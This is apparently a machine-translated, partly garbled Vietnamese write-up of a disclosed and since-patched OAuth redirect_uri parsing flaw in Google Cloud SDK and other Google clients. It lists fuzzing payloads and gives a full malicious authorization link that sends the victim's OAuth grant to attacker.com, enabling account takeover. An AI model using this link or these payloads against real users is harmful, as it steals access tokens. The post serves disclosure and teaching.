TL;DR Lời bài hát: Dr Bài viết này đi qua một lỗ hổng truy cập tài khoản OAuth độc đáo mà tôi gần đây đã phát hiện ảnh hưởng đến một số dịch vụ Google. Các lỗ hổng cho phép kẻ tấn công giả vờ các ứng dụng hợp pháp như khách hàng Google Cloud SDK và rò rỉ mã thông báo truy cập vào một máy chủ do kẻ tấn công kiểm soát cho phép truy cập cửa sau vào tài khoản nạn nhân - với gần như không có khả năng hiển thị cho nạn nhân. redirect_uri Bốn phần đầu tiên bao gồm nền tảng chung về OAuth, rủi ro rò rỉ token và nhầm lẫn phân tích URL. Nếu bạn đã quen thuộc với các khái niệm này, hãy nhảy thẳng vào Note: Section 5: Google Cloud Account Takeover Case. 1. giới thiệu OAuth 2.0 cho phép các ứng dụng của bên thứ ba truy cập dữ liệu người dùng mà không xử lý mật khẩu trực tiếp bằng cách có một máy chủ ủy quyền (ví dụ, Google) tạo ra một token để ứng dụng của bên thứ ba sử dụng để yêu cầu dữ liệu người dùng hoặc thực hiện hành động thay mặt họ. Nhưng nếu các parameter không được xác nhận với độ chính xác phẫu thuật, kẻ tấn công có thể giả vờ các ứng dụng đáng tin cậy và lừa người dùng để rò rỉ token truy cập của họ. redirect_uri Trong bài viết này, tôi sẽ đi qua cách một lỗi phân tích URL tinh tế cho phép tôi làm chính xác điều đó - trên nhiều dịch vụ của Google - với một sự lặn sâu vào trường hợp của Google Cloud. 2. làm thế nào OAuth hoạt động Trong khi OAuth là một giao thức khá phức tạp mà xứng đáng một loạt các bài viết để nắm bắt đầy đủ, đây là một tổng quan đơn giản: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Để hình dung mọi thứ, biểu đồ siêu đơn giản dưới đây cho thấy tôi đăng nhập vào Medium bằng tài khoản Google của tôi: Trong nhiều trường hợp, máy chủ ủy quyền và máy chủ tài nguyên là như nhau. Note: Cấu hình OAuth Token Leakage Nhìn vào biểu đồ ở trên, phần khó khăn nhất là bước 5, nơi máy chủ ủy quyền gửi mã thông báo được tạo trở lại ứng dụng khách. Biết gửi token ở đâu redirect_uri Nếu tham số này không được xác minh đúng cách, kẻ tấn công có thể giả vờ ứng dụng máy khách (ví dụ, Medium) và lừa máy chủ ủy quyền gửi cho họ mã thông báo truy cập của người dùng - mặc dù, từ quan điểm của người dùng, mọi thứ có vẻ hợp pháp. Thông thường, được xác nhận ở một mức độ nào đó – bạn không thể chỉ ném bất kỳ URL ngẫu nhiên nào vào máy chủ ủy quyền. Tuy nhiên, các phương pháp xác nhận khác nhau trong các triển khai tùy thuộc vào nhu cầu kinh doanh, và các lỗi trong quá trình này có thể được khai thác. redirect_uri Một số mô hình chung: Strict Matching: Phù hợp chính xác với một URI đã đăng ký trước. Wildcard hoặc Path Prefix Matching: Cho phép URI như https://example.com/* hoặc https://*.example.com. Loopback Addresses: Thông thường trong các ứng dụng máy tính để bàn, nơi một máy chủ địa phương xử lý chuyển hướng. URL Parsing - Sự nhầm lẫn Theo , một URL tiêu chuẩn có cấu trúc như sau: RFC 3986 Đánh giá scheme://username:password@host:port/path?query#fragment Mỗi thành phần đóng một vai trò cụ thể: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment được đề cập đến như được đề cập đến như Note: host:port authority, username:password userinfo Ở cái nhìn đầu tiên, điều này có vẻ đơn giản - nhưng sự khác biệt phân tích tinh tế có thể xảy ra, đặc biệt là khi xử lý các trường hợp cạnh. những sự khác biệt này có thể được khai thác cho các cuộc tấn công như bỏ qua xác nhận hoặc lừa đảo các yêu cầu trên các giao thức. Các nhà phát triển có thể cho rằng một URL được phân tích một cách nhất quán, tiêu chuẩn hóa trên tất cả các thư viện, tuy nhiên, nghiên cứu rộng rãi về phân tích URL đã chứng minh điều ngược lại. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Dưới đây là một ví dụ nơi một URL duy nhất được xử lý khác nhau trên ba phân tích khác nhau Mặc dù bài viết này sẽ không đi sâu vào các cuộc tấn công nhầm lẫn phân tích URL, nhưng chúng được khám phá kỹ lưỡng trong bài báo Black Hat năm 2017 Một kỷ nguyên mới của SSRF – khai thác URL Parser trong các ngôn ngữ lập trình xu hướng Tài khoản Google Cloud Takeover Case Nếu bạn đã từng sử dụng Google Cloud trước đây, bạn có thể đã gặp phải CLI tiện ích — một công cụ dòng lệnh mạnh mẽ được sử dụng để quản lý tài nguyên Google Cloud. Trong số các tính năng khác, nó cho phép người dùng xác thực bằng cách sử dụng tài khoản Google của họ thông qua một dòng OAuth dựa trên trình duyệt. gcloud Đây là cách nó hoạt động: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Để dòng chảy này hoạt động, Google tin tưởng một số URL loopback nhất định (ví dụ, http://localhost) cho các ứng dụng gốc, vì chúng được coi là đủ an toàn để sử dụng cục bộ và được liệt kê bên trong. A. Xác định bề mặt tấn công Sau khi nhìn thấy a Được sử dụng như , bản năng đầu tiên của tôi là thay thế nó bằng và Đây là một bước quan trọng bởi vì nó xác nhận rằng các URL thực sự đang được phân tích và so sánh bên trong, thay vì có một số kiểm tra cơ bản như: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Vì vậy, ở đây chúng ta có hai điều quan trọng đang diễn ra: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri Điều đó có nghĩa là chúng tôi có hai bộ phân tích URL, một được sử dụng bởi backend của Google, và bộ phân tích được sử dụng bởi trình duyệt của chúng tôi (Chrome trong trường hợp của tôi), vì vậy trừ khi hai bộ phân tích này giống hệt nhau, bất kỳ sự không nhất quán nào giữa chúng có thể được khai thác để rò rỉ giấy phép OAuth cho một máy chủ do kẻ tấn công kiểm soát. Mục tiêu bây giờ rõ ràng, chúng ta cần phải tạo ra một URL được phân tích khác nhau giữa hai phân tích, theo cách mà chúng ta lừa phân tích backend của Google để phân tích nó như một địa chỉ loopback, trong khi phân tích của Chrome phân tích nó như một địa chỉ internet toàn cầu. Thực tế là chúng tôi có kiến thức rất hạn chế về backend của Google và thư viện nào họ đang sử dụng nội bộ để phân tích URL, có nghĩa là chúng tôi chỉ còn lại với cách tiếp cận hộp đen. B. Fuzzing vì chiến thắng Những gì tôi làm tiếp theo là viết một kịch bản Python sẽ đột biến các URL khác nhau bằng cách áp dụng các thủ thuật mã hóa khác nhau, ghi chú thay thế và trường hợp cạnh để xem những trường hợp nào đã thông qua xác nhận backend của Google nhưng đã được giải thích khác bởi Chrome, kịch bản sử dụng một số thủ thuật như: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Địa chỉ IP riêng tư: 10.0.0.5, 192.168.5.3, 127.10.0.1 Các chương trình khác nhau: file://, ldap://, ftp://, javascript://, data:// CRLF tiêm: %0D%0A Hostname/IP như thông tin người dùng: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com URL rất dài: http://AAAAAA...@127.0.0.1 Tên miền DNS: 127.0.0.1.attacker.com URL bị lỗi: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Truy vấn / Phân đoạn tiêm: Tiêm thêm ? , & hoặc # trước / sau @ DNS rebinding (được kiểm tra theo cách thủ công) Sau khi chạy kịch bản trong một thời gian, và đến sự ngạc nhiên của tôi, một trong những trường hợp cạnh được tạo ra quản lý để kích hoạt sự khác biệt chính xác tôi đang tìm kiếm, phản ứng của tôi là như sau: Trường hợp Edge thành công được tìm thấy là: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ mà có thể được đơn giản hóa thêm vào: http://[::1]@[::1]@attacker.com/ Khi cố gắng phân tích URL này bằng Chrome, chúng tôi nhận được kết quả sau: Phần thú vị về là nó là một URL bị lỗi để bắt đầu với. Tính cách được dành riêng để tách biệt Từ the Chrome giảm thiểu trường hợp cạnh này bằng cách mã hóa tất cả các ký tự không được dành riêng, cũng như các sự xuất hiện trước đó của các ký tự được dành riêng, và chỉ sử dụng các ký tự mới nhất. Điều này đảm bảo rằng bất kỳ trước khi cuối cùng được mã hóa URL. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Ngược lại, dựa trên thử nghiệm thử nghiệm với các biến thể tải trọng sử dụng, có vẻ như phân tích backend của Google đã không mã hóa đúng sự xuất hiện trước đó của các ký tự được bảo lưu và thay vào đó sử dụng sự xuất hiện đầu tiên của như người phân rẽ. sau khi chia Parser có thể đã trích xuất và từ các vị trí cố định, hoàn toàn bỏ qua việc theo dõi . @ @ userinfo hostname attacker.com Điều đáng chú ý là hành vi này được kích hoạt độc quyền khi sử dụng IPv6. ) nó hoạt động như mong đợi, nhấn mạnh rằng sự không nhất quán là cụ thể cho logic phân tích IPv6. http://127.0.0.1@127.0.0.1@attacker.com C. Đặt tất cả chúng lại với nhau Bây giờ vector tấn công của chúng ta trở nên rõ ràng, chúng ta có thể giả vờ cli tiện ích và lừa một người dùng để xác thực suy nghĩ họ đang xác thực để . gcloud gcloud Cuộc tấn công diễn ra như thế này: Tạo một yêu cầu ủy quyền OAuth độc hại và gửi liên kết của nó (mã khối bên dưới) cho nạn nhân Nạn nhân được trình bày với một luồng xác thực OAuth hoàn toàn hợp pháp cho khách hàng Google Cloud SDK (Hình 9) Nạn nhân đăng nhập và đồng ý với các quyền được liệt kê (mục đích) Nạn nhân được chuyển hướng đến máy chủ độc hại của chúng tôi, với tài trợ OAuth được tạo ra của họ Chúng tôi sử dụng tài trợ OAuth để thực hiện các cuộc gọi API vào tài khoản của nạn nhân thay mặt họ https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Dưới đây là một hình ảnh về dòng chảy tấn công được đề xuất Từ quan điểm của người dùng, nó sẽ trông giống như họ đang xác thực vào , ngay cả đối với máy chủ ủy quyền của Google, nó sẽ trông giống như người dùng đang cố gắng xác thực vào Vì vậy, chúng tôi đang lừa dối cả hai bên xác thực để nghĩ rằng đó là một quá trình xác thực hợp pháp trong khi mã thông báo truy cập cuối cùng đang bị rò rỉ vào máy chủ độc hại của chúng tôi. gcloud gcloud Token truy cập bị rò rỉ sẽ mang lại cho chúng tôi quyền truy cập không giới hạn trên tài khoản của nạn nhân, cho phép chúng tôi thực hiện ngay cả các hành động có đặc quyền cao. Điều làm cho cuộc tấn công này nguy hiểm hơn là: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Như đã đề cập ở đầu bài viết này, Đây chỉ là một ứng dụng dễ bị tổn thương, dưới đây là một số ứng dụng khác mà tôi đã tìm thấy cũng dễ bị tổn thương: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google đã phản ứng nhanh chóng, thừa nhận mức độ nghiêm trọng trong vòng 72 giờ và trao thưởng mức độ nghiêm trọng cao. 6 Kết luận Nghiên cứu này làm nổi bật cách thức một sự chênh lệch phân giải URL tinh tế có thể làm suy yếu hoàn toàn bảo mật của toàn bộ luồng xác thực được tái sử dụng trên các ứng dụng và dịch vụ khác nhau, ngay cả khi được thực hiện bởi một công ty trưởng thành và có ý thức về bảo mật như Google.Bằng cách khai thác sự khác biệt giữa cách URL được giải thích bởi các phân tích khác nhau, chúng tôi đã có thể tạo ra các URI chuyển hướng độc hại rò rỉ token truy cập vào các máy chủ do kẻ tấn công kiểm soát - dẫn đến các kịch bản chiếm toàn bộ tài khoản. Mặc dù OAuth là một giao thức trưởng thành và được nghiên cứu tốt, bảo mật của nó phụ thuộc rất nhiều vào các chi tiết thực hiện nhỏ bé khác nhau giữa các nền tảng, thư viện và môi trường. Kể từ đó, Google đã sửa chữa lỗ hổng sau khi tiết lộ có trách nhiệm. Cảm ơn đã đọc!